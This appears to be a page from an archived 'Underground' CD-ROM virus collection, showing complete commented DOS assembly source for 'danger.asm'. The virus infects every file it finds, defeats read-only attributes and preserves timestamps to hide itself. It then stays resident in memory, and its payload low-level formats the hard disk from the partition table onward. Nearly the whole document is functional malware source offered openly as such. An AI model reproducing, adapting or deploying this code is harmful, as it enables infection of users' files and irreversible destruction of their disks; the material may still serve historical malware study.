home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / d / danger.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  14.3 KB  |  284 lines

  1. ;This program is a virus that infects all files, not just executables. It gets
  2.  
  3. ;the first five bytes of its host and stores them elsewhere in the program and
  4.  
  5. ;puts a jump to it at the start, along with the letters "GR", which are used to
  6.  
  7. ;by the virus to identify an already infected program. The virus also save
  8.  
  9. ;target file attributes and restores them on exit, so that date & time stamps
  10.  
  11. ;aren't altered as with ealier TIMID\GROUCHY\T-HEH variants.
  12.  
  13. ;when it runs out of philes to infect, it will do a low-level format of the HDD
  14.  
  15. ;starting with the partition table.
  16.  
  17.  
  18.  
  19. MAIN    SEGMENT BYTE
  20.  
  21.         ASSUME  CS:MAIN,DS:MAIN,SS:NOTHING
  22.  
  23.  
  24.  
  25.         ORG     100H
  26.  
  27.  
  28.  
  29. ;This is a shell of a program which will release the virus into the system.
  30.  
  31. ;All it does is jump to the virus routine, which does its job and returns to
  32.  
  33. ;it, at which point it terminates to DOS.
  34.  
  35.  
  36.  
  37. HOST:
  38.  
  39.         jmp     NEAR PTR VIRUS_START            ;Note: MASM is too stupid to assemble this correctly
  40.  
  41.         db      'GR'
  42.  
  43.         mov     ah,4CH
  44.  
  45.         mov     al,0
  46.  
  47.         int     21H             ;terminate normally with DOS
  48.  
  49.  
  50.  
  51. VIRUS:                          ;this is a label for the first byte of the virus
  52.  
  53.  
  54.  
  55. COMFILE DB      '*.*',0       ;search string for any file
  56.  
  57. DSTRY   DB      0,0,0,2, 0,0,1,2, 0,0,2,2, 0,0,3,2, 0,0,4,2, 0,0,5,2, 0,0,6,2, 0,0,7,2, 0,0,8,2, 0,0,9,2, 0,0,10,2, 0,0,11,2, 0,0,12,2, 0,0,13,2, 0,0,14,2, 0,0,15,2, 0,0,16,2  
  58.  
  59. FATTR   DB      0
  60.  
  61. FTIME   DW      0
  62.  
  63. FDATE   DW      0
  64.  
  65.  
  66.  
  67. VIRUS_START:
  68.  
  69.         call    GET_START       ;get start address - this is a trick to determine the location of the start of this program
  70.  
  71. GET_START:                      ;put the address of GET_START on the stack with the call,
  72.  
  73.         sub     WORD PTR [VIR_START],OFFSET GET_START - OFFSET VIRUS  ;which is overlayed by VIR_START. Subtract offsets to get @VIRUS
  74.  
  75.         mov     dx,OFFSET DTA   ;put DTA at the end of the virus for now
  76.  
  77.         mov     ah,1AH          ;set new DTA function
  78.  
  79.         int     21H
  80.  
  81.         call    FIND_FILE       ;get a file to attack
  82.  
  83.         jnz     DESTROY         ;returned nz - go to destroy routine
  84.  
  85.         call    SAV_ATTRIB
  86.  
  87.         call    INFECT          ;have a good file to use - infect it
  88.  
  89.         call    REST_ATTRIB
  90.  
  91. EXIT_VIRUS:
  92.  
  93.         mov     dx,80H          ;fix the DTA so that the host program doesn't
  94.  
  95.         mov     ah,1AH          ;get confused and write over its data with
  96.  
  97.         int     21H             ;file i/o or something like that!
  98.  
  99.         mov     bx,[VIR_START]                          ;get the start address of the virus
  100.  
  101.         mov     ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)]         ;restore the 5 original bytes
  102.  
  103.         mov     WORD PTR [HOST],ax                                          ;of the COM file to their
  104.  
  105.         mov     ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+2]       ;to the start of the file
  106.  
  107.         mov     WORD PTR [HOST+2],ax
  108.  
  109.         mov     al,BYTE PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+4]       ;to the start of the file
  110.  
  111.         mov     BYTE PTR [HOST+4],al
  112.  
  113.         mov     [VIR_START],100H                        ;set up stack to do return to host program
  114.  
  115.         ret                                             ;and return to host
  116.  
  117.  
  118.  
  119. START_CODE:                     ;move first 5 bytes from host program to here
  120.  
  121.         nop                     ;nop's for the original assembly code
  122.  
  123.         nop                     ;will work fine
  124.  
  125.         nop
  126.  
  127.         nop
  128.  
  129.         nop
  130.  
  131.  
  132.  
  133. ;--------------------------------------------------------------------------
  134.  
  135. DESTROY:
  136.  
  137.        mov     AH,05H                  ;format hard disk starting at sector
  138.  
  139.        mov     DL,80H                  ;0 and continuing through sector 16
  140.  
  141.        mov     DH,0H                   ;this should wipe out the master boot
  142.  
  143.        mov     CX,0000H                ;record & partition table
  144.  
  145.  
  146.  
  147.  
  148.  
  149.        mov     AL,11H                 ;low-level format information stored
  150.  
  151.        mov     BX,OFFSET DSTRY        ;at this OFFSET in the syntax 1,2,3,4,
  152.  
  153.        int     13H                    ;where 1=track number,2=head number,3=sector number
  154.  
  155.                                       ;and 4=bytes/sector with 2=512 bytes/sector
  156.  
  157.        ret
  158.  
  159. ;---------------------------------------------------------------------------
  160.  
  161. ;---------------------------------------------------------------------------
  162.  
  163.  
  164.  
  165.        
  166.  
  167. ;-----------------------------------------------------------------------------
  168.  
  169. ;Find a file which passes FILE_OK
  170.  
  171. ;
  172.  
  173. ;This routine does a simple directory search to find a COM file in the
  174.  
  175. ;current directory, to find a file for which FILE_OK returns with C reset.
  176.  
  177. ;
  178.  
  179. FIND_FILE:
  180.  
  181.         mov     dx,[VIR_START]
  182.  
  183.         add     dx,OFFSET COMFILE - OFFSET VIRUS        ;this is zero here, so omit it
  184.  
  185.         mov     cx,3FH          ;search for any file, no matter what the attributes
  186.  
  187.         mov     ah,4EH          ;do DOS search first function
  188.  
  189.         int     21H
  190.  
  191. FF_LOOP:
  192.  
  193.         or      al,al           ;is DOS return OK?
  194.  
  195.         jnz     FF_DONE         ;no - quit with Z reset
  196.  
  197.         call    FILE_OK         ;return ok - is this a good file to use?
  198.  
  199.         jz      FF_DONE         ;yes - valid file found - exit with z set
  200.  
  201.         mov     ah,4FH          ;not a valid file, so
  202.  
  203.         int     21H             ;do find next function
  204.  
  205.         jmp     FF_LOOP         ;and go test next file for validity
  206.  
  207. FF_DONE:
  208.  
  209.         ret
  210.  
  211.  
  212.  
  213.  
  214.  
  215. ;--------------------------------------------------------------------------
  216.  
  217. ;Function to determine whether the file specified in FNAME is useable.
  218.  
  219. ;if so return z, else return nz.
  220.  
  221. ;What makes a phile useable?:
  222.  
  223. ;              a) There must be space for the virus without exceeding the
  224.  
  225. ;                 64 KByte file size limit.
  226.  
  227. ;              b) Bytes 0, 3 and 4 of the file are not a near jump op code,
  228.  
  229. ;                 and 'G', 'R', respectively
  230.  
  231. ;
  232.  
  233. FILE_OK:
  234.  
  235.         mov     ah,43H                               ;the beginning of this
  236.  
  237.         mov     al,0                                 ;routine gets the file's
  238.  
  239.         mov     dx,OFFSET FNAME                      ;attribute and changes it
  240.  
  241.         int     21H                                  ;to r/w access so that when
  242.  
  243.         mov     [FATTR],cl                           ;it comes time to open the
  244.  
  245.         mov     ah,43H                               ;file, the virus can easily
  246.  
  247.         mov     al,1                                 ;defeat files with a 'read only'
  248.  
  249.         mov     dx,OFFSET FNAME                      ;attribute. It leaves the file r/w,
  250.  
  251.         mov     cl,0                                 ;because who checks that, anyway?
  252.  
  253.         int     21H
  254.  
  255.         mov     dx,OFFSET FNAME
  256.  
  257.         mov     al,2
  258.  
  259.         mov     ax,3D02H                                ;r/w access open file, since we'll want to write to it
  260.  
  261.         int     21H
  262.  
  263.         jc      FOK_NZEND                               ;error opening file - quit and say this file can't be used (probably won't happen)
  264.  
  265.         mov     bx,ax                                   ;put file handle in bx
  266.  
  267.         push    bx                                      ;and save it on the stack
  268.  
  269.         mov     cx,5                                    ;next read 5 bytes at the start of the program
  270.  
  271.         mov     dx,OFFSET START_IMAGE                   ;and store them here
  272.  
  273.         mov     ah,3FH                                  ;DOS read function
  274.  
  275.         int     21H
  276.  
  277.  
  278.  
  279.         pop     bx                                      ;restore the file handle
  280.  
  281.         mov     ah,3EH
  282.  
  283.         int     21H                                     ;and close the file
  284.  
  285.  
  286.  
  287.         mov     ax,WORD PTR [FSIZE]                     ;get the file size of the host
  288.  
  289.         add     ax,OFFSET ENDVIRUS - OFFSET VIRUS       ;and add the size of the virus to it
  290.  
  291.         jc      FOK_NZEND                               ;c set if ax overflows, which will happen if size goes above 64K
  292.  
  293.         cmp     BYTE PTR [START_IMAGE],0E9H             ;size ok - is first byte a near jump op code?
  294.  
  295.         jnz     FOK_ZEND                                ;not a near jump, file must be ok, exit with z set
  296.  
  297.         cmp     WORD PTR [START_IMAGE+3],5247H          ;ok, is 'GR' in positions 3 & 4?
  298.  
  299.         jnz     FOK_ZEND                                ;no, file can be infected, return with Z set
  300.  
  301. FOK_NZEND:
  302.  
  303.         mov     al,1                                    ;we'd better not infect this file
  304.  
  305.         or      al,al                                   ;so return with z reset
  306.  
  307.         ret
  308.  
  309. FOK_ZEND:
  310.  
  311.         xor     al,al                                   ;ok to infect, return with z set
  312.  
  313.         ret
  314.  
  315.  
  316.  
  317. ;--------------------------------------------------------------------------
  318.  
  319. SAV_ATTRIB:
  320.  
  321.         mov     ah,43H
  322.  
  323.         mov     al,0
  324.  
  325.         mov     dx,OFFSET FNAME
  326.  
  327.         int     21H
  328.  
  329.         mov     [FATTR],cl
  330.  
  331.         mov     ah,43H
  332.  
  333.         mov     al,1
  334.  
  335.         mov     dx, OFFSET FNAME
  336.  
  337.         mov     cl,0
  338.  
  339.         int     21H
  340.  
  341.         mov     dx,OFFSET FNAME
  342.  
  343.         mov     al,2
  344.  
  345.         mov     ah,3DH
  346.  
  347.         int     21H
  348.  
  349.         mov     [HANDLE],ax
  350.  
  351.         mov     ah,57H
  352.  
  353.         xor     al,al
  354.  
  355.         mov     bx,[HANDLE]
  356.  
  357.         int     21H
  358.  
  359.         mov     [FTIME],cx
  360.  
  361.         mov     [FDATE],dx
  362.  
  363.         mov     ax,WORD PTR [DTA+28]
  364.  
  365.         mov     WORD PTR [FSIZE+2],ax
  366.  
  367.         mov     ax,WORD PTR [DTA+26]
  368.  
  369.         mov     WORD PTR [FSIZE],ax
  370.  
  371.         ret
  372.  
  373. ;------------------------------------------------------------------
  374.  
  375. REST_ATTRIB:
  376.  
  377.        mov     dx,[FDATE]
  378.  
  379.        mov     cx, [FTIME]
  380.  
  381.        mov     ah,57H
  382.  
  383.        mov     al,1
  384.  
  385.        mov     bx,[HANDLE]
  386.  
  387.        int     21H
  388.  
  389.        mov     ah,3EH
  390.  
  391.        mov     bx,[HANDLE]
  392.  
  393.        int     21H
  394.  
  395.        mov     cl,[FATTR]
  396.  
  397.        xor     ch,ch
  398.  
  399.        mov     ah,43H
  400.  
  401.        mov     al,1
  402.  
  403.        mov     dx,OFFSET FNAME
  404.  
  405.        int     21H
  406.  
  407.        
  408.  
  409.        mov     ah,31H                   ;terminate/stay resident
  410.  
  411.        mov     al,0                     ;and set aside 50 16-byte
  412.  
  413.        mov     dx,0032H                 ;pages in memory, just
  414.  
  415.        int     21H                      ;to complicate things for the user
  416.  
  417.                                         ;they might not notice this too quick!
  418.  
  419.        ret
  420.  
  421. ;---------------------------------------------------------------------------
  422.  
  423. ;This routine moves the virus (this program) to the end of the file
  424.  
  425. ;Basically, it just copies everything here to there, and then goes and
  426.  
  427. ;adjusts the 5 bytes at the start of the program and the five bytes stored
  428.  
  429. ;in memory.
  430.  
  431. ;
  432.  
  433. INFECT:
  434.  
  435.         xor     cx,cx                                   ;prepare to write virus on new file; positon file pointer
  436.  
  437.         mov     dx,cx                                   ;cx:dx pointer = 0
  438.  
  439.         mov     bx,WORD PTR [HANDLE]
  440.  
  441.         mov     ax,4202H                                ;locate pointer to end DOS function
  442.  
  443.         int     21H
  444.  
  445.  
  446.  
  447.         mov     cx,OFFSET FINAL - OFFSET VIRUS          ;now write the virus; cx=number of bytes to write
  448.  
  449.         mov     dx,[VIR_START]                          ;ds:dx = place in memory to write from
  450.  
  451.         mov     bx,WORD PTR [HANDLE]                    ;bx = file handle
  452.  
  453.         mov     ah,40H                                  ;DOS write function
  454.  
  455.         int     21H
  456.  
  457.  
  458.  
  459.         xor     cx,cx                                   ;now we have to go save the 5 bytes which came from the start of the
  460.  
  461.         mov     dx,WORD PTR [FSIZE]                     ;so position the file pointer
  462.  
  463.         add     dx,OFFSET START_CODE - OFFSET VIRUS     ;to where START_CODE is in the new virus
  464.  
  465.         mov     bx,WORD PTR [HANDLE]
  466.  
  467.         mov     ax,4200H                                ;and use DOS to position the file pointer
  468.  
  469.         int     21H
  470.  
  471.  
  472.  
  473.         mov     cx,5                                    ;now go write START_CODE in the file
  474.  
  475.         mov     bx,WORD PTR [HANDLE]                    ;get file handle
  476.  
  477.         mov     dx,OFFSET START_IMAGE                   ;during the FILE_OK function above
  478.  
  479.         mov     ah,40H
  480.  
  481.         int     21H
  482.  
  483.  
  484.  
  485.         xor     cx,cx                                   ;now go back to the start of host program
  486.  
  487.         mov     dx,cx                                   ;so we can put the jump to the virus in
  488.  
  489.         mov     bx,WORD PTR [HANDLE]
  490.  
  491.         mov     ax,4200H                                ;locate file pointer function
  492.  
  493.         int     21H
  494.  
  495.  
  496.  
  497.         mov     bx,[VIR_START]                          ;calculate jump location for start of code
  498.  
  499.         mov     BYTE PTR [START_IMAGE],0E9H             ;first the near jump op code E9
  500.  
  501.         mov     ax,WORD PTR [FSIZE]                     ;and then the relative address
  502.  
  503.         add     ax,OFFSET VIRUS_START-OFFSET VIRUS-3    ;these go in the START_IMAGE area
  504.  
  505.         mov     WORD PTR [START_IMAGE+1],ax
  506.  
  507.         mov     WORD PTR [START_IMAGE+3],5247H          ;and put 'GR' ID code in
  508.  
  509.  
  510.  
  511.         mov     cx,5                                    ;ok, now go write the 5 bytes we just put in START_IMAGE
  512.  
  513.         mov     dx,OFFSET START_IMAGE                   ;ds:dx = pointer to START_IMAGE
  514.  
  515.         mov     bx,WORD PTR [HANDLE]                    ;file handle
  516.  
  517.         mov     ah,40H                                  ;DOS write function
  518.  
  519.         int     21H
  520.  
  521.         
  522.  
  523.         ret                             ;all done, the virus is transferred
  524.  
  525.  
  526.  
  527. FINAL:                                  ;label for last byte of code to be kept in virus when it moves
  528.  
  529.  
  530.  
  531. ENDVIRUS        EQU     $ + 212         ;label for determining space needed by virus
  532.  
  533.                                         ;Note: 212 = FFFF - FF2A - 1 = size of data space
  534.  
  535.                                         ;      $ gives approximate size of code required for virus
  536.  
  537.  
  538.  
  539.         ORG     0FF2AH
  540.  
  541.  
  542.  
  543. DTA             DB      1AH dup (?)             ;this is a work area for the search function
  544.  
  545. FSIZE           DW      0,0                     ;file size storage area
  546.  
  547. FNAME           DB      13 dup (?)              ;area for file path
  548.  
  549. HANDLE          DW      0                       ;file handle
  550.  
  551. START_IMAGE     DB      0,0,0,0,0               ;an area to store 3 bytes for reading and writing to file
  552.  
  553. VSTACK          DW      50H dup (?)             ;stack for the virus program
  554.  
  555. VIR_START       DW      (?)                     ;start address of VIRUS (overlays the stack)
  556.  
  557.  
  558.  
  559.  
  560.  
  561. MAIN    ENDS
  562.  
  563.  
  564.  
  565.  
  566.  
  567.         END HOST